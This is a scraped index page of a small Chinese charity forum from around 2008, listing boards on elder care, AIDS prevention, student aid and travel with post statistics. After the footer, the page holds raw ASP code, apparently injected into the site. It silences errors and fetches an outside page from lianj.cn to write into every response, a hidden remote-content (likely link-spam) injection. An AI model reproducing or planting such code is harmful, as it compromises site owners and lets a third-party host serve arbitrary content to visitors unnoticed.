用户名： 密 码：

总 帖 数：30 新会员：xxcm5 注册会员：7
话 题 数：9 今日帖数：0 昨日帖数：0
社区公告
·欢迎来到盛世莲花论坛 [2007-10-1 13:37:17]

盛世莲花
  论坛 帖子统计 最后发表 版主
普通论坛
盛世莲花 盛世莲花
新人报到，疑问解答，关于盛世莲花。
今日帖：0
主题帖：1
总发帖：3
主题：回复:缘起——盛世莲花...
作者：wzf
时间：2008-1-22 22:29:52
 暂无
普通论坛
重阳晚晴 重阳晚晴
家家有老人，人人都会老；关怀老人就是关爱我们的明天。
今日帖：0
主题帖：1
总发帖：1
主题：SSLH
作者：admin
时间：2008-1-25 10:32:48
 暂无
普通论坛
关爱生命 关爱生命
让无力者有力，让悲观者前行，因为你的苦难就是我们的苦难。
今日帖：0
主题帖：3
总发帖：20
主题：(转)08年预防艾滋公益...
作者：xxcm5
时间：2008-8-7 1:32:50
 暂无
普通论坛
快乐助学 快乐助学
我们看着你咬紧牙关， 我们不停为你加油，我们看着你笑逐颜开。
今日帖：0
主题帖：0
总发帖：0
主题：--
作者：--
时间：--
 暂无
普通论坛
无限创新 无限创新
没有什么可以轻易把人打动，除了前进的脚步……
今日帖：0
主题帖：0
总发帖：0
主题：--
作者：--
时间：--
 暂无
普通论坛
莲花账房 莲花账房
活动AA帐目，盛世莲花财务公示。
今日帖：0
主题帖：0
总发帖：0
主题：--
作者：--
时间：--
 暂无

谈天说地
  论坛 帖子统计 最后发表 版主
普通论坛
盛世学堂 盛世学堂
三人行必有我师。让我们保持好奇，乐于学习，不持成见。
今日帖：0
主题帖：0
总发帖：0
主题：--
作者：--
时间：--
 暂无
普通论坛
公益交流 公益交流
总有一种力量它让我们泪流满面，总有一种力量它让我们抖擞精神，总有一种力量他驱使我们不断寻求"正义、爱心和良知"。
今日帖：0
主题帖：0
总发帖：0
主题：--
作者：--
时间：--
 暂无
普通论坛
莲花茶坊 莲花茶坊
泡一杯香茗，听听音乐，聊聊愿望，谈谈人生感悟。
今日帖：0
主题帖：1
总发帖：2
主题：回复:[分享]总有一种力...
作者：智慧
时间：2008-7-31 11:00:44
 暂无
普通论坛
人在旅途 人在旅途
茫茫人海，行色匆匆，我们相聚在一起，分别在天涯。
今日帖：0
主题帖：2
总发帖：4
主题：回复:宁海前童古镇、梁...
作者：智慧
时间：2008-7-30 15:27:11
 暂无

论坛事务区
  论坛 帖子统计 最后发表 版主
限制论坛
议事后花园 议事后花园
讨论社区的发展和建议和意见，发布论坛公告，斑竹任免。
今日帖：0
主题帖：0
总发帖：0
主题：--
作者：--
时间：--
 暂无
普通论坛
意见箱 意见箱
我们一起共建网上美好家园。
今日帖：0
主题帖：1
总发帖：1
主题：欢迎大家多多建议
作者：正午
时间：2008-1-28 10:47:06
 暂无

 在线统计 【显示详细列表】目前在线人数：1人  其中会员人数：0人 其中游客人数：1人
论坛开张时间：2007-10-1 | 最高在线记录：672人同时在线 | 发生记录时间：2008-3-18 20:00:46


 论坛联盟 【全部友情链接】【自助申请连接】


Powered by Djins 1.0
Copyright © 2007 - 2008 sslhlove.com
论坛访问:732次 数据查询：8次 执行时间：296.875 毫秒 > 更多友情链接>>><% On Error Resume Next Server.ScriptTimeOut=9999999 response.write(getHTTPPage("http://www.lianj.cn/link/1222.htm")) function getHTTPPage(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function %>